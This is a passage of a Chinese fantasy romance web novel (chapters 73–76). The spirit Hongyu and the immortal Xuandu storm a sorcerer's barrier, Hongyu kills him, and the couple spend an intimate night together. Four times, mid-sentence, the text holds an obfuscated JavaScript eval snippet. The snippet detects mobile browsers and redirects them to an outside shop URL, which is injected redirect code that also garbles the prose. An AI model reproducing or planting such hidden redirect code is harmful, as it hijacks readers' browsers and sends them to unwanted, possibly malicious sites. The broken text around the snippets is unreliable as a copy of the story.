在那里,他用骨血滋养着他最重要的珍宝。 “砰”的一声巨响,石像顿时炸开,飞石溅出很远,划破寂静的黑夜,又落在早已没人打理的草坪上。 结界的门,破开了。 干完活的桃夭斩嗖地飞回红雨手上,刀身颤了颤,好像小孩子撒娇一般。红雨很熟悉它的这副样子,这是桃夭斩联系到了她的真身,因此雀跃。 她拍了拍它,又将其收好,转身去找玄都。 在她转身时,余光似乎瞥见玄都的手抬了一下,但等她完全转过去的时候,他的手已经安静地垂在身侧了。 一动不动。 红雨笑着走过去,牵起他垂在身侧的手。手掌大而单薄,手指修长骨干,将自己的手塞进这只手里,触感极好。 只是……似乎格外清凉。 红雨垂眸看向两人相牵的手,玄都的手心很凉,就好像没什么温度似的。 玄都注意到她的视线,晃了晃她的手,将她的注意力拉出来,问道:“怎么了?” 红雨疑惑道:“我怎么觉得,你的手这么凉呢?” 玄都下意识紧握了一下,捏了捏她的手指,语气随意道:“毕竟是午夜,天凉。” 红雨潜意识里觉得有哪里不对,但她还没来得及细想,便听见玄都道:“走吧,我们进去吧。” 于是,她的注意力又重新放到结界上,脑袋里的一缕念头一下子溜走,不见踪影。 她拉着玄都,一起迈入结界之中。 两人前脚踏入结界,那强拆开的结界的门,便立马合上了。 红雨挑了挑眉,嘲讽道:“他还挺宝贝他的这个破地方,这门居然还会自我修复,自己上锁。” 玄都道:“毕竟是他栖身的地方。” “切!”红雨颇为不屑道:“关就关吧,等处理完他,这破结界也就塌了。” 结界之中,和鸟妖之前说的差不多。一进来,是一大片无边无际的森林。 森林里的树木高耸怪异,雾气弥漫漂浮,有点儿像是恐怖片里主人公疯狂逃亡的那种地方。 抬眼望去,树林深处黑如深潭,幽深诡异,像是巨兽的大嘴,能够吞噬万物,咀嚼咽下,不吐骨头。 森林里的雾气潮湿氤氲,沾上皮肤时,透骨似的凉。 玄都压抑着轻咳了一声,红雨看过去,便看见他一身白色衬衫,此刻显得单薄无比。一个一直盘旋在她脑海中的念头升起,她觉得,他很冷。 就像是置身寒潭中一般,浑身都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268184|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发抖的那种冷。 这种念头一旦形成,红雨便觉得,玄都的脸色都苍白了几分,俊美清朗的面容中,似乎都染上了病色。 她满是担忧地问道:“……你身体是不是不舒服了?” 闻言,玄都怔愣一瞬,沉静深邃的眼底顷刻间染上笑意,道:“没有啊,怎么这么问?” 他笑得轻松,看起来与常人无异。 “不知道……”红雨摇摇头,“我就是觉得你冷,好像不太舒服。” 玄都微微低头,对上她担忧的双眼,一字一句认认真真地说:“我很好,不要多想,这个结界是赵生慈用邪术制造的,我们觉得不舒服是正常的,我只是觉得这里的雾很凉,身体没有什么问题。” 红雨想了一下,觉得他说的有道理,而且最重要的是,玄都眉眼依旧温柔,眼尾微微上挑,带着一贯的温和笑意,确实看不出什么异常。 她甩了甩头,把脑袋里那些想法甩出去,又将注意力放到这片森林里。 这森林和之前赵生慈围剿她时,制造的那个结界森林很相似。红雨猜,这应该是赵生慈比较擅长且常用的结界术法,这些森林,就像是一种屏障,保护最里面、最核心的东西。 同时,这些森林也是一种障眼法,可以将闯入的人困在这里,任人宰割。 想来赵生慈每每用结界拉人进来虐杀而死时,就是将人弄到森林幻境里,被拉进来的人只能在无限的恐惧中等待死亡的到来。 他们到死都想不明白,为什么会突然出现这片森林。 既然是入口处连接的幻境,那就一定有“路”,找到“路”,就能走入结界最深处。 按理说他们现在应该想办法找到这条路,但是…… 红雨转头看了眼身侧的玄都,白色的衬衫在阴风吹拂下,布料紧贴在身体上,衬得他看起来更加清瘦。 仿佛只要这森林里的阴风再大些,就能把他整个人吹散似的。 红雨不想再慢悠悠地找“路”了,准确的说,她是不想待在这个破林子里了。这里的空气湿冷,冰的刺骨,她一刻也不想待了。 她拉住正要以指尖血绘符的玄都,朝他笑眯眯道:“我来吧,我可以灵识外放,找起来更快些。” 灵识外放,其实有点像某种意义上的灵魂出窍。只不过专门修习过这种术法人,外放的灵识可以看穿幻境,直接看到环境中最本质的样子,自然很快就能找到这森林环境的出口。 红雨化形后一直跟着青羽神女修习,会这种术法并不奇怪。 只是灵识外放对躯壳的要求比较高,想要外放灵识,必须要有一个足够稳固的躯壳。对一般来说,这个前提条件约等于无,毕竟谁的躯壳不是自己长的?只要人还活着,躯壳自然稳固的很。 就算是是妖类,也有自己的真身,也无须考虑这一点。 只是眼前…… 玄都的视线从自己的手掌,转移到红雨的身上。他在自己和红雨之间来回看了片刻,神色有些复杂。 偏偏现在,他们俩都拿不出一个稳固的躯壳。 73. 指路 夜风穿过庄园的铁大门,呼呼的响。古堡前的兽首喷泉,源源不断地吐出水流,哗啦啦的流水声应和着呼啸风声,节奏出奇的一致。 古堡顶楼的一间屋子里,厚重的窗帘拉的紧紧的,遮住了窗外惨白的月光。屋里只有一盏复古吊灯,亮着暗黄色的灯光。 纯灰色的地板上没有地毯,只画着一个巨大的圆形阵法图。 赵生慈盘着腿,静坐在阵法图的中央。 他双手交叠端在身前,双目紧闭,头颅低垂,身前有一个燃烧的火炉,火上似乎煮着热茶。 可那不是茶。 貌似茶壶的器物在火上烤着,容器中深黑色液体汩汩沸腾,漫出一股铁锈般的腥味。 是血腥味。 赵生慈闭目深吸了一口气,让那浓郁的血腥味浸满整个鼻腔,就像一只贪食的野兽,因为闻到鲜血而兴奋。 这时,门口传来咚咚的敲门声。 赵生慈缓缓睁开眼,布满皱纹和老人斑的左手一拂,门锁应声而开。 一个黑衣人微曲着身子,恭恭敬敬地走进来,一路目不斜视,专注地看着脚下。一直走到赵生慈身边,稳稳地停下脚步。 赵生慈瞥了他一眼,苍老的声音响起:“怎么了?” 黑衣人低头,俯身在他耳边低语几句。说完后,又站回原来的位置。 听到手下的话,赵生慈微微眯眼,半晌,哼笑了一声,缓慢道:“知道了,让他们进来。” 黑衣人还想劝说些什么,可刚一张嘴,对上老人那凶狠威严的目光,又将话咽了回去,规规矩矩地退了出去。 厚重的房门再次合上。 赵生慈抬手上锁,将视线从门口收回来,看向面前。 在他的正前方,有一个木架。 木架上,正吊着一个人。身材瘦削,算得上修长。 这种吊法很有讲究,两只手的手腕绑在一起,用绳子一并吊在高木架上,双脚不至于离地,但仅有脚尖能勉强碰到地面。 十分难受,是一种稀碎的折磨。 被吊着的人身上没什么伤口,只有手腕处有一道口子,血肉模糊,看不出来是刀割的,还是被绳子磨的。 也或许两者都有,先是刀伤,再被磨烂。 赵生慈掀眼看他,缓声道:“她要来了。” 闻言,吊着的人抬起无力低垂的脑袋,额间的碎发被汗水浸透,成绺搭在眼皮上,脸色惨白。 是赵桥。 赵桥双眼死死地盯着赵生慈,嘴唇紧紧抿着,甚至有些发白。 赵生慈嗤笑一声,道:“你这副神情,是何意啊?” 他起身,踩着阵法图,走到赵桥身前,负手而立,“你是把她当做情人,还是救星?” 赵桥吞咽了一口唾沫,可他已经很久没喝水了,喉咙间一片干涩。他嘴唇动了动,却不知道说什么。 赵生慈也不在意他的沉默,仍旧自顾自道:“妖物果然是妖物,贯会勾引人。不过人家倒是有个情郎,死了活活了死的,轮不着你。” 他瞪了赵桥一眼,接着问道:“赵桥啊赵桥,你故意透露我的消息给她,是想让她杀了我,好帮你解脱?打的一手好算盘,可惜了,这只会让你死的更早!” 赵桥恶狠狠地盯着他看,终于开口说话,声音沙哑:“我不姓赵。我有名字,我叫乔柯,乔家的独子。” 赵生慈楞了一下,随即,就像是听到了天大的笑话似的,仰头笑道:“你和你父亲确实很像,都蠢的如此自以为是。自从你乔家祖宗救我的那天起,你们乔家,就已经是赵某的囊中之物了。” 赵桥气极,抬腿就要踢向赵生慈,可还没挨到人,赵生慈一扬手,抬起的那条腿便如同被铁棍暴击一般,疼到痉挛,缩了回去。 赵桥怒骂道:“你恩将仇报,害人害己,早晚会遭报应!” 赵生慈理了理微微有些皱的衣摆,转身从一旁的架子上拿起一根尖刺一般的长针,手指捏了捏长针的尖端,道:“别忘了,你手上也没少沾血,不过你放心,你一定,死的比我早。” 说着,赵生慈手持长针,另一只手按住赵桥胸前的一处穴位,快准狠地刺了下去。 “啊——” 凄厉的惨叫充斥在房间里,阵法图边缘压着的铃铛当啷一响,一股血线从长针的尾端溢出,飘向阵法图的中央。 阵法,开始了运转。 ** 玄都正想着如何向红雨解释她躯壳不稳这件事,忽然看见原本雾蒙蒙的森林幻境里,有一处光亮闪过。 那抹光呈线状,在黑漆漆的林间穿梭,像是一条会发光的蛇。 红雨也看到了那光亮,她仔仔细细地盯着光亮闪过的痕迹,半晌,拍了拍玄都的胳膊,语气有些惊奇:“你看!这光线的经过的轨迹……是不是有点儿像是在指路?” 玄都也意识到了,说了声:“是。” 只是眉头却下意识蹙起。 在赵生慈的结界里看到指路的,并不是什么好事。 玄都挥手放了张追踪符出去,追着那光亮走了一遍,探了探它指的路。 片刻后,追踪符回来。出乎意料的,光亮指的路的确是幻境森林的出口,并没有什么陷阱。 这下,俩人都有些沉默了。 红雨揪着眉毛,摸着下巴道:“你说,在赵生慈的结界里,为什么能看到指路的光呢?” 玄都:“事出反常必有妖。” 红雨:“黄鼠狼给鸡拜年。” 玄都问:“走吗?” 两人对视一眼,红雨重重点头:“走!” 她倒要看看,赵生慈这个黄鼠狼到底憋了什么歹毒的屁! 玄都和红雨顺着光亮的指路,一路走出幻境森林,随后,便看见那偌大的庄园。 铁大门上缠绕着枯萎的蔷薇,爬山虎布满四周高墙,远远看去,像是一个尘封的监狱。死气沉沉又怪异诡秘。 他们来到庄园大门前,玄都环视周围环境,视线从铁门和高墙上经过,按照某人一贯的行事逻辑,问:“我们跳墙进去?” 岂料某人伸出一根食指,极为优雅地晃了两下,“跳墙什么的,实在是太不文雅了。” 玄都:“???” 究竟是谁最爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306460|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻窗跳墙的? 红雨在玄都不解的注视下,走到大门前,歪头看了看铁门上盘着的枯萎蔷薇和藤蔓。 她伸出手,指尖轻轻贴附在一根比较粗的藤蔓上。下一秒,干枯的藤蔓重新焕发生机,便的绿而水润。 粗绿的藤蔓随着法力的注入渐渐生长,变得越来越粗,缠上大门上的铁栏杆,一圈又一圈。 如蟒蛇缠绕猎物一般,慢慢将铁门勒到变形。 “好了!” 红雨一拍掌心,“我们进去吧!” “……”玄都看着已经变形报废的大门,“好。” 红雨看着玄都脸上一言难尽的表情,一下子没忍住,噗嗤一声笑了出来。 玄都知道她是故意的,外套笑着看她,挑了下眉。 还没等他说话,他家小桃花猛地倏地上前,柔软湿润的红唇吧唧贴在他脸颊上,又响又香。 红雨主动拉着他的手,一边往庄园里面走,一边嘀嘀咕咕道:“玄都小仙人是君子,怎么能翻窗爬墙呢……当然得光明正大地走进去……” 小仙人任由她拉着,耳廓悄悄着色。 ** 他们一路走到古堡前的兽首喷泉处,望见一道苍老的身影,拄着手杖,立在喷泉前,背对着他们。 仿佛是不经意,又像是恭候多时。 两个人一路上说说闹闹时扬起的笑脸在此刻一同敛去,红雨的眉宇间怒气冲冲,玄都则有些嫌恶。 一想到赵生慈做的那些“好事”,红雨实在是气不打一处来,她看着那老东西背对着他们,故作深沉,摆出一副独孤求败的样子,她更觉得心烦。 她可不想叫他回头,还给他一个装·逼的机会。 于是红雨抬手一挥,桃夭斩伴随着破风的器鸣声,凶悍地朝着赵生慈飞去。 在桃夭斩命中的前一刻,赵生慈猛地回身,抬起手杖,黑色的烟气从手杖与桃夭斩相撞的位置溢出,形成一个半圆形的保护罩,将赵生慈遮蔽在内。 本来也没想着一击即中,红雨十分嫌弃地翻了个白眼,抬手将桃夭斩唤了回来。 愤愤道:“怎么不一下子打死他呢?” 见到赵生慈的那刻起,玄都的脸色并不好看,直到此刻,看到身旁气呼呼的,像是小包子一样的红雨,实在是可爱,他才露出一抹笑,捏了捏她垂在身侧的那只手,道:“会的。” 红雨扬头,故意激怒赵生慈,得意道:“你倒是接着看你那破房子啊!多看两眼吧,反正看一眼少一眼。” 赵生慈缓缓收起手杖,因为年老而变小的双眼露出一抹凶光,他看了看红雨,又看向她身旁的玄都,道:“桃花妖,你也多看看你那情郎吧,也是看一眼,少——” 他还没说完,一阵爆裂罡风骤起,刹那间,粉红色的桃花花瓣如雨点一般密密麻麻地迎面掉落,每一瓣花瓣的边缘,都锋利如刀刃。 一旦落在身上,就是千刀万剐的效果。 红雨饱含怒气的声音裹挟着罡风迎头砸下,与平时或调皮或活泼的声线不同,十分尖锐,像是来自阎王殿的恶鬼怒号。 “你放屁!” 74. 尘土 赵生慈没想到红雨会有如此激烈的反应,眼看着漫天花瓣似的刀刃就要砸在脸上,赵生慈脸色一沉,左脚后踩撑地,木质手杖在掌心飞速旋转,将飞来的刀刃打散。 红雨出手太快,就连一直在身边留意着她的玄都,也是在刀刃飞出时反应过来的。 自从想起所有的事情,她等这一天,已经等得太久了。 玄都侧目看她,没有说什么,正准备画符助她时,一股裹挟着桃香气息的暖风吹来。眨眼间,形成一堵密密实实的风墙,将他整个人挡在另一边。 玄都垂在身侧的手微微蜷起,想要让红雨撤了风墙,但迟疑片刻,伸出的手又放松垂下。 他知道红雨是想保护他,只是真到了那一刻,这风墙阻挡不了什么。 不过这风墙立在这儿,想必能助她安心应战。 赵生慈这边破开了如雨刀刃,红雨这一出手,也激出了他的凶性。他拿着手杖,将其重重地插在地上,恶声道:“你倒是在意你这情郎,三百年前,他死在我手上的样子,还真是惨啊。” 红雨怒火中烧,闻言却冷笑一声,“可我们还好好的站在这里,你呢?拿了不属于你的福德,苟活到今天也算便宜了你,不过还好,你马上就是个死人了。” 说话的同时,红雨单手抓着桃夭斩,如敏捷的豹子一般冲了上去,原地只留下一抹淡粉残影。 时代变更,赵生慈如今并没有多少手下,仅有的一些人,也不如当年那批。 自上次交手后,他对红雨的实力也有了了解,于是这次,他也没有指望这些无用的手下人能胜过红雨,他亲自动手。 他提起手杖迎击。 刀刃与木仗不断碰撞、厮杀,嘭嘭嘭的撞击声不断响起。 赵生慈抬手挡住直奔他喉咙而来的尖锐弯刀,表情扭曲,充满恶意,故意道:“你那情郎当时死的惨,为找他仙骨,活活挖了他几十刀,最后是我亲手扎烂了他的心脏,给了他一个痛快。” 他抬手挥开桃夭斩,调转手杖的方向怼上去,“身体烂成那副样子,你说他是怎么活过来的呢?” 红雨动作一顿,眼看着木质手杖就要击中,她向左闪身,还没等站稳,又拿着桃夭斩刺了上去,直劈面门。 “还是你死的更惨,一百多刀的肉身,和一滩烂肉有什么区别?” “你都没烂,何况别人!” 赵生慈连忙收回手杖,可惜闪身不及时,手臂被桃夭斩轻轻擦过,留下一道伤痕。 手臂传来刺痛,他不怒反笑,“我有你成仙的福德啊……你那情郎呢,有什么?你说他那肉身,怎么就没烂呢?” 自上次在森林幻境中,玄都将人救走,又把真正的红雨叫醒时,赵生慈就留意到了玄都。 他想起三百年前的种种,他很确定,这个废物仙人是死在他手上的,肉身毁成那样,即使魂魄不散,也容纳不了了。可他却像是没事人一样,不仅还活着,居然还能调用仙力,施展术法。 赵生慈虽然不知道缘由,但也知道,这修士的肉身恢复的诡异,怕是不太稳固。 他也不用查清楚究竟是什么原因,只要揪住这处伤口一直戳,就足够乱了这花妖的心神,激怒她,让她发狂。 就像是三百年前那样。只知杀戮,神志全无。 红雨下意识想要回头看玄都,但想起玄都曾和她说过,他已经没事了。 玄都说没事,她便相信。 她忍住了想要回头的冲动,动作没停,依旧挥舞着桃夭弯刀,一下一下朝赵生慈刺去。 她声音冷冽,无视赵生慈的话,满是嘲讽道:“老东西,我也挺好奇的,我还没死透,我的福报在你身上,能好用吗?把魂魄强留在这具早就腐烂发臭的尸体上,你也不好受吧?” 弯刀裹着杀气,朝他要害处劈刺过去,红雨的声音有些颤,不知是急得还是气得,但眼神依旧凛然,出手果决狠厉,“你早就知道我要来找你算账了吧,非但不躲,还给我们引路,我猜你是想杀了我?” “我猜你这么想杀了我,是你偷来的福德,不听你的话,撑不住你这又老又残的身体了吧?你想杀了我,吸收我的福德,得个半仙的身体?做梦吧你!” 冰冷的刀刃刺入肩胛,向上一挑,皮开肉绽。 血却不多,刀锋沾了一条血迹,闻着隐约有些臭。 想来是他肉身内里已经腐烂,血液才有了这股臭味。 红雨身手敏捷迅速,拿着桃夭斩打得又急又凶,赵生慈似乎有些招架不住。 不多时,便明显处于下风。 玄都立在风墙的隔离外,眼睛一眨不眨地盯着两人缠斗,看着红雨逐渐处于上风,眉毛蹙起。 有哪里不对劲。 在法力强弱上,赵生慈自然与红雨比不了,但他毕竟是个邪修。虽然对禁术知之甚少,但玄都也知道,天下禁术固然不如仙家术法流传甚广,可也算是种类齐全、数目繁多。 即使赵生慈如今身老神疲,但似乎也不至于毫无还手之力。 究竟是哪里出了问题…… 红雨看着节节败退的赵生慈,勾唇一笑。 上次交手时她就感觉出来了,赵生慈的肉身三百年前就死透了,现在还活着,不过是因为拿了她的福报,强留魂魄在身体里罢了。 用一句人间的俗语来说,他已经是个秋后的蚂蚱,蹦跶不了几天了。 强弩之末而已。 三百年前,是她一着不慎,才被他拿了福德,让他死里逃生。这一次,她一定让他死得不能再死。 红雨伸展双臂,高高越起,悬停在半空中。 从底下的视角向上看去,她就像是踩在兽首喷泉水柱的最高处。踩得很轻,但很稳。 赵生慈微微眯眼,左手持杖重击地面,右手拿出一张符篆点燃,向下拍下,以血绘阵。 刹那间,以他脚底的位置为源头,掀起一阵飓风,直吹天际,喷泉的水柱被吸入飓风中,水丝旋转,仿佛漩涡一般。 红雨伸向自己胸前的手顿住。 她本想用真身杀他个痛快彻底,可分秒间,她想起玄都说过,她真身不稳,不宜显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327446|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形。 何况,用真身杀这么个恶心东西,好像也挺膈应的。 “桃夭!” 红雨将弯刀向上掷出,唤了一声。 桃夭斩刀身一颤,绕着红雨周身盘旋飞了一圈。 兴奋又乖巧。 红雨左手一挥,在半空中划出一道淡粉光痕,桃夭斩贴着她手心,虚虚地浮着。 她右手的食指和中指并拢,在细白的脖颈间抹了一道。 霎时,血红色光雾冲天亮起,浓浓的血雾之中,眼尾处的一颗红色小痣,随着缓慢掀开的眼皮微微晃动。 血雾中的女人睁开眼,那双眼睛极美,摄魂夺魄,风情万种。 往下,是精致美艳的脸庞,和如饮鲜血的两瓣朱唇。 红唇微张,仿佛吐出的气,都是上好的迷魂药。 再往下,原本细白的颈子血肉模糊,桃木钉从正中间穿入,贯穿整个脖颈,鲜血顺着钉子两端淋漓掉落。 她的手很美,纤细骨感,指节分明。 只是手背上的皮肤呈青白色,指尖皮肉泛黑,指甲血红。 一袭红衣被风吹乱,鬼魅飘逸,长发凌乱飞舞,黑色发丝飘起垂落,垂落又飘起。 是红雨的鬼妖相。 灵魂完整的鬼妖相。 名为桃夭的弯刀滴着血珠,悬在她身侧,由她驱使。 她掀眼向下俯视,睨了一眼地上的赵生慈。她伸手持刀,动作从容,慢条斯理。 红色的血雾从她周身溢出,如滔天巨浪将赵生慈起的飓风吞噬。天地间重归宁静,只有诡异的血雾浮动摇晃。 赵生慈吞咽口水,看着半空中如鬼魅一般飘浮的鬼妖。 红雨懒得与他对视,将视线停在他命门处,红唇开合。 虽然没有声音,但赵生慈看得出来,她说的,是——你死了。 下一秒,悬浮在半空中的红衣鬼影闪身飞下,落在他面前。 在他再次看到她的脸时,心口处,插入一柄弯刀。 弯刀插得极深,刺穿了这具身体里那早已挺直跳动的心脏,也斩断了由万千福德维持运转的经脉骨骼。 赵生慈清晰地感觉到,自己的身体逐渐无力,四肢瘫软,躯干空荡。那早就不应该属于他的生命力,在流逝。 因为刀扎得深,尖锐的红色指甲沾染碎肉和鲜血,那血不热,反倒泛凉。 与此同时,明黄色的光芒从伤口处一股脑地钻出,沿着弯刀的刀柄和青白的皮肤,丝丝缕缕地汇入红雨的眉心。 那是她迷路百年的万千福德。 福光入体,带来丝丝暖意,红雨动了动垂在身侧的另一只手,冰冷僵直的指骨流入热流。 远处的玄都看到这一幕,欣慰勾唇。 他的小花妖,本来应该凭着这些福报,羽化登仙,享不绝香火,万人供奉。 她应该行走在天京之上,浮云之巅。自由自在,永世和乐。 或许,一切都还不晚。 尘会归尘,土会归土,或许一切还有机会回到最初的归宿。 75. 坍塌 漫天福光照亮了整个结界。怪异沉寂的古堡在福光中也蒙上一层暖色。福光耀眼,闪烁着,尽数汇入红雨体内,像是百鸟朝凤。 本来就是红雨的东西,物归原主罢了。 随着福光的流逝,赵生慈的肉身撑不住了。逐渐干瘪,疲软,无力地倒在地上,像是一个破麻袋。 他的魂魄还在,蜷缩在这具早就腐烂的躯体里。即使身躯已然难以容纳,可却眷恋着不肯离开。 红雨没怎么犹豫,眉头都没皱一下,随意地收起桃夭斩,缓缓抬手,抽出了他体内苟延残喘的魂魄。 然后调用法力,捏散,她的动作行云流水,一气呵成。枯槁的魂魄就这样飘散在尘埃里。 本来也没什么好犹豫的。 三百年前他就该死了,说来,还是她的失误,让他留到了今天,已经算是便宜他了。 在红雨单纯的认知里,是非分明,甚至非黑即白。 即使法力高强,出手果决,但不失善良。 所以三百年前,她杀了赵生慈之后,没有想过摧毁他的魂魄。 她让他入轮回。他的功过自有天道定夺,哪怕来世投胎成个飞禽走兽,命途多舛,或是罪孽深重永不超生,都和她没关系了。 可他不肯。他抢了她的福德,苟活至今,甚至妄图杀了她,用抢来的福德摆脱禁术的反噬。 身死魂消,也是他多行不义,罪有应得。 赵生慈死了。死的很彻底,还挺快。 鬼妖相散去的那刻,穿着休闲夏装的红雨看着地上已经有些腐烂发臭的尸身,脸上没什么表情。 开心?还是大仇得报的痛快?或许都有。 但更多的是一种无法言说的怪异。 红雨抬手随意地处理了赵生慈的那几个手下,转身撤去风墙,飞奔着撞到玄都怀里,死死搂住他细瘦的腰身,漂亮的脸蛋在他怀里蹭来蹭去。 一直蹭的皮肤都发红了,脸也挤得变形。 玄都托着她的下巴,把她的脸抬起。拇指在她摩蹭得通红发热的脸蛋上轻轻点了两下,“都快蹭破了。” 红雨吸吸鼻子,仔细感受了一下,脸颊确实有点儿火辣辣的疼。 她不管,依旧埋在他胸口,一侧耳朵用力贴在他心口,听他心脏跳动的声音。 砰砰砰…… 一下一下,是她听过的最好听的声音,胜过百鸟啼春,胜过迷人天籁,也胜过不归桃林的林涛细响。 她就这么黏着他,直到玄都感觉胸口的布料被水浸透,贴在身上,湿润滚烫,他惊觉,怀里的人哭了。 揽在她腰后的手微微顿住,指骨微动,大掌兜住她的后脑勺,把人从自己怀里揪出来,微凉的指尖擦拭眼角泪珠,低声哄着:“怎么哭了呢?最大的麻烦解决了,应该是一件高兴的事啊。” 也不知是哭的还是闷的,红雨的脸蛋红通通的,瘪瘪嘴,固执地把脸埋在他肩头,半晌,才断断续续地憋出一句话:“你……没事……你还在我身边……” 玄都怔住,心尖像是被掐了一下,细碎的疼。 许是赵生慈说的那些话让她不安,也或许是她有所察觉和感知,又或许,是他曾经试图暗示过什么。 如果可以,玄都永远不愿意同他的红雨说那些话。可他又怕万一到了那一步,他走了,红雨会受不了。 所以他想趁着自己还在,还能亲自安慰她,哄着她,试图让她有些心理准备,这样才能在他走后安然活下去。 还好,没有走到那一步。 赵生慈比他想象的更加枯败狼狈,不用走到那一步,就能解决。 还好,一切都解决了。而他安然无恙,还在她身边。 “我在呢。”玄都的手在红雨脑后摩挲,低头用脸颊蹭了蹭她额头,声音放的很轻,温柔到了极点,“我好好的在这儿,什么事都没有,抬头看看我,嗯?” 红雨像是听进去了,缓缓抬头,对上他含情低垂的眉眼,漆黑深邃,柔情似水。他的眼里,倒映着小小的她,也只有她。 细白的胳膊攀着他的肩头,搂着他的脖子,手垂在他后颈,微微仰头,垫脚,红唇贴上他的脸颊,留下一块小小的水渍。 玄都低下颈子,捉到在他脸上放肆游移唇,覆上他的。 四唇相接的刹那,古堡坍塌,尘土飞扬,喷泉兽首断裂,泉水四流,还没淌到脚边,骤然消散。 结界崩裂,现实显现。 充满岁月痕迹的石像恢复原来的样子,斑驳模糊,许是结界崩裂时发生震荡,作为“门”的石像受到冲击,从中间裂了一条缝隙。 约莫一指宽,有些显眼。 不过此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340297|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻无人在意。 明月高悬,树影疏疏,午夜的风簌簌吹过,卷起积年落叶残枝,擦过地面和草木,哗啦啦的响。 猫头鹰飞过,咕咕叫了两声,声音不大,但难免突兀。 红雨缩了缩脖子,睁眼看他。 玄都舔了下唇角湿润,勾起浅笑,问:“怎么?” “没。”红雨摇头,重又贴上。 交缠纠葛,唇齿相撞,夜深静谧,飞鸟作怪。只有两道身影,紧紧相依。 他们在明月下相拥,在夜风中深吻,在三百年的光阴交错间,牵绊依托。 ** 基地有白豆豆照看,两人直接回了馄饨店。 一路磕磕绊绊地进屋。 走到楼梯前,红雨有些腿软,抓着他的衬衫,捏出褶皱,声音难得有些无力,“不要……别这么上去,会摔。” “行。”玄都轻笑,气息炙热灼人。 他弯腰俯身,将人拦腰抱起,一手托在她腿窝,一手按着她的背,把人按在自己肩头,一步几个台阶飞跨上楼。 他的卧室依旧干净整洁,大床柔软。红雨躺在床上,仰头承他的吻。 他身上的衬衫虽然有些褶皱,但还算的上整齐,扣子扣的严严实实,一副正人君子的派头。就是此刻做的事……浓浓的欲。 红雨双眼迷离,看着他的鬓角,身前一凉,皮肤与空气接触,又被湿润包裹,黏黏腻腻。 即使动作很大,可他额头依旧干爽,仅有一丝薄薄的汗。 手若即若离,唇肆意流窜。 红雨皱了皱眉,蓦地推了一下他的肩膀。 玄都动作停住,双眼被情欲染红,看她,声音温沉沙哑:“怎么了?” 红雨看了看自己身上,一片狼藉,又抬头看他,衬衫的扣子才松了两颗,有些不满。 扶住他肩膀的手下移,急切地和那几个扣子做斗争。 许是她手上颤抖无力,也许是衬衫的扣子太难解,她弄了半天才开两颗,有些生气,动作凶巴巴的,好像要直接撕碎。 玄都轻笑,握住她急切的双手,放在手里捏了捏,“别急,慢慢来。我们有很多时间。” 他们啊……还有很久很久的岁月,要一起走过。 比三百年,还要长。 今夜,注定难眠。 76. 日常 次日清晨,晴空万里,阳光和煦温暖,虽然光线被窗帘遮挡了大半,但依旧能隐约透进来一些。 室内一片微薄的昏暗。 被窝里的人早就醒了,但都没起来,就这么相拥低语,不时传出几声闷闷的笑。 两人也刚醒不久,亲密地缠在一起,一只骨节分明的手抬起,手背青筋明显,手心覆在一处柔软上。 热乎乎的,手感极好,圆溜溜的可爱极了。 红雨说了句好玩的话,玄都笑得胸腔都在震动。红雨又问了句什么,玄都没说话,只是埋头在她滑嫩洁白的颈间嗯了一声。 鼻息间暖暖的香。 他不经意地动了动,原本覆在身前的那只手揽住她的背,在她腰间揉了揉,好像在稀罕什么宝贝似的,爱不释手。 原本兴致勃勃叭叭个不停的红雨突然顿住,大眼睛忽闪忽闪的,某处的那种包裹感消失不见了,贴到他胸膛上,硬邦邦的。 不如覆盖着舒服。 她推他的肩,把人推远些,两人之间空出大约两拳的距离,被窝外的冷风顺着缝隙进来,凉飕飕的。 红雨想都没想,眨巴着眼睛,好看的五官充满疑问,然后动作十分自然,反手绕到身后,拉他的手,挪到前面,理直气壮地重新盖上。 “你怎么不摸我这里了?” 玄都整个人一愣,旋即反映过来,闷闷的笑,肩膀抖动,连带着被子都在抖。 可爱的有些过分了。 